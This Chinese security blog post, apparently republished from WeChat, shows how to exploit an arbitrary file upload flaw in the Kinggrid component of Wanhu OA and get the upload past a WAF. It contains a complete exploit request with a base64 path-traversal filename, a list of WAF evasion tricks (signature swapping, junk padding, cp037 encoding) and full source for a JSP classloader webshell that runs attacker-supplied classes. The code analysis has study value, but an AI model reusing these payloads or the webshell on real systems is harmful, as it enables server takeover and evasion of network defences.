金格组件上传BypassWAF

admin 2023年11月23日17:17:44评论215 views字数 4357阅读14分31秒阅读模式


免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责。

大家可以把安全绘景设为星标,这样就可以及时看到我们最新发布内容啦!

金格组件上传BypassWAF


前言

之前一次比赛中内网遇到万户OA存在金格文件上传漏洞,但是内网有设备拦截了数据包这里分享下当时如何绕过WAF最终获取服务器权限。

金格组件上传BypassWAF

WAF拦截点

金格数据包自带Bypass功能,因为这里filename../被Base64不在需要绕这两部分。最开始直接尝试了脏数据,一般WAF遇到大数据包直接放行,但是这里还是被Done掉了,然后删删减减最后发现拦截DBSTEP V3.0文件内容主要文件内容太明文了不拦截都对不起这个WAF。

金格上传数据包:

POST /defaultroot/officeserverservlet HTTP/1.1
Host: xxxxxxxx
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 695


DBSTEP V3.0     97             0               10             DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vcHVibGljL2VkaXQvZXdlYmUuanNw
DIRECTORY=
1111111111

金格任意文件上传代码分析

当为POST请求的时候,通过MsgObj.Load(request)加载当前请求,跟进去看。

金格组件上传BypassWAF

首先获取请求的编码,如果请求编码为空就是设置编码格式为GB2312,随后调用_$1027()方法把request对象传入进去,继续跟进。

金格组件上传BypassWAF

首先通过request.getInputStream()获取整个POST数据(也就是之前金格数据)赋值给mRead对象,然后从mRead流中取了HeadSize长度为64的字节数组保存在HeadString中。目前为止HeadString的值为POST数据包的前64个字符。接着在截取HeadString前16个字符赋给了this._$906,截取HeadString的16-31个字符赋给了BodySize,截取HeadString的32-47个字符赋给了ErrorSize,截取HeadString的48-63个字符赋给了this._$907this._$907是后续传入文件内容的长度。估计看到这里就有点绕了,给个数据包具体说明下就清楚了。

金格组件上传BypassWAF

this._$906为截取前16个字符: DBSTEP V3.0注意这里V3.0后有5个空格

BodySize为16-31个字符:  97

ErrorSize为32-47个字符:0

this._$907为48-63个字符: 10

DBSTEP V3.0     97             0               10             DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vcHVibGljL2VkaXQvZXdlYmUuanNw
DIRECTORY=
1111111111

这里BodySize97进入if语句,这里从mRead数据流读取长度为97的字符串。

金格组件上传BypassWAF

也就是框的这一部分包含了rn,但是这里字符串长度计算是少4个r,加上4个长度就对了。因此this._$904的值为框的这一部分。

金格组件上传BypassWAF

金格组件上传BypassWAF

接着判断是否加密,这里默认为false,然后创建一个临时文件,文件名是this._$903写入的文件内容为this._$907长度为10也就是1234567891

金格组件上传BypassWAF

金格组件上传BypassWAF

这里判断MsgObj.GetMsgByName(“DBSTEP”)的值是否等于DBSTEP跟进GetMsgByName()方法

金格组件上传BypassWAF

这里首先将传入进来的 FieldName 去除rn并连接上=赋值给 mFieldName。然后在 $_904 中查找以 = 开头的子串的位置。如果找到,进一步查找该子串后的rn的位置,提取字段值,然后调用DecodeBase64()方法进行解码,最后返回解码后的结果;如果未找到相应字段,返回空字符串。

金格组件上传BypassWAF

跟进DecodeBase64()方法发现不是变种的,所以这里直接就是将参数值进行base64编码一次就行。

金格组件上传BypassWAF

金格组件上传BypassWAF

然后判断OPTION的值解码后是否为SAVEFILE

金格组件上传BypassWAF

OPTION=U0FWRUFTSFRNTA==就把FilenamemtpFileSavePath进行拼接导致这里可以通过 ../进行越级传到任意目录。跟进checkFile(mtpFileSavePath + this.mFileNam)方法,这里判断传入的路径是否存在,然后替换反斜杠为正斜杠,如果不存在则创建目录,最后把之前金格临时文件this._$903的内容写到mtpFileSavePath + this.mFileNam路径实现任意文件上传。

金格组件上传BypassWAF金格组件上传BypassWAF金格组件上传BypassWAF

金格特征绕过

综合上面整个分析 DBSTEP V3.0一直没有起作用只是必须有值占位,因此可以这里的 DBSTEP V3.0换成11111111111111也可以上传成功。

金格组件上传BypassWAF

BodySize97是这指段数据,97数字可控那么我们就可以在这里进行添加脏数据来绕这一部分。

DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Ly4uL3VwbG9hZC90ZXN0MTExMTEuanNw
DIRECTORY=

例如:如下这张图,其实到这里已经绕过来WAF对金格组件特征识别,但是文件内容还是没有绕过。

金格组件上传BypassWAF

文件内容绕过

通过之前对代码的分析发现文件内容没办法处理只能硬刚,这里尝试了几种办法都没有成功,最后靠cp037编码绕过。

之前尝试如下:

Unicode编码:                      [x]
jspx命名空间绕过               [x]
文件内容脏数据绕过           [x]
各种奇怪的马:                   [x]
cp037编码绕过                   [✓]

直接借用安全之路漫漫 写好的脚本生存一个经过cp037编码后的马。

#python2
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
  class PERFORM extends ClassLoader {
    PERFORM(ClassLoader c) { super(c);}
    public Class bookkeeping(byte[] b) {
      return super.defineClass(b, 0, b.length);
    }
  }
  public byte[] branch(String str) throws Exception {
    Class base64;
    byte[] value = null;
    try {
      base64=Class.forName("sun.misc.BASE64Decoder");
      Object decoder = base64.newInstance();
      value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception e) {
      try {
        base64=Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception ee) {}
    }
    return value;
  }
</jsp:declaration>
<jsp:scriptlet>
  String cls = request.getParameter("xxoo");
  if (cls != null) {
    new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
  }
</jsp:scriptlet>
</jsp:root>'''
fcp037.write(data.encode('cp037'))

经过cp037编码后文件内容,直接打开已经看不出来了。

金格组件上传BypassWAF

实操Bypass WAF

由于这是之前比赛中遇到了,这里就拿本地环境来复现之前步骤。

注意:Burp最好开启显示换行符

金格组件上传BypassWAF

目前还需注意两个问题:

  • 文件内容长度

  • 文件内容完整型

DIRECTORY后面的rn先删除掉。

金格组件上传BypassWAF

非常注意这个值:多读和少读都会影响文件内容导致无法解析成功

金格组件上传BypassWAF

读取文件长度为1436

金格组件上传BypassWAF

最后大概脚本如下:

金格组件上传BypassWAF

金格组件上传BypassWAF

金格组件上传BypassWAF

金格组件上传BypassWAF

金格组件上传BypassWAF

参考

https://xz.aliyun.com/t/11607

https://flowerwind.github.io/2022/09/05/%E5%85%B3%E4%BA%8E%E9%87%91%E6%A0%BC%E7%BB%84%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%95waf%E7%9A%84tips/

金格组件上传BypassWAF

金格组件上传BypassWAF

金格组件上传BypassWAF

原文始发于微信公众号(安全绘景):金格组件上传BypassWAF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月23日17:17:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   金格组件上传BypassWAFhttps://cn-sec.com/archives/2232672.html

发表评论

匿名网友 填写信息